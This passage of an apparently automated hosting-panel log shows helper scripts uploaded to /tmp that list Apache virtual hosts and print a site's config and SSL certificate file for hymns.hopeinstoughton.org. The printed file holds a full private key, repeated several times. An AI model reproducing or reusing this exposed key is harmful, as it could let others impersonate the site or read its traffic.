RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:01:22: Establishing a connection
2026-01-03 19:01:23:
PUT: /tmp/pkp173778
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:01:24:
chmod 755 /tmp/pkp173778; /tmp/pkp173778; rm /tmp/pkp173778
2026-01-03 19:01:24:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:01:24:
PUT: /tmp/pkp108852
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:01:24:
chmod 755 /tmp/pkp108852; /tmp/pkp108852; rm /tmp/pkp108852
2026-01-03 19:01:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2026-01-03 19:01:25:
PUT: /tmp/pkp193316
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:01:25:
chmod 755 /tmp/pkp193316; /tmp/pkp193316; rm /tmp/pkp193316
2026-01-03 19:01:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:01:25:
PUT: /tmp/pkp492393
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:01:26:
chmod 755 /tmp/pkp492393; /tmp/pkp492393; rm /tmp/pkp492393
2026-01-03 19:01:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
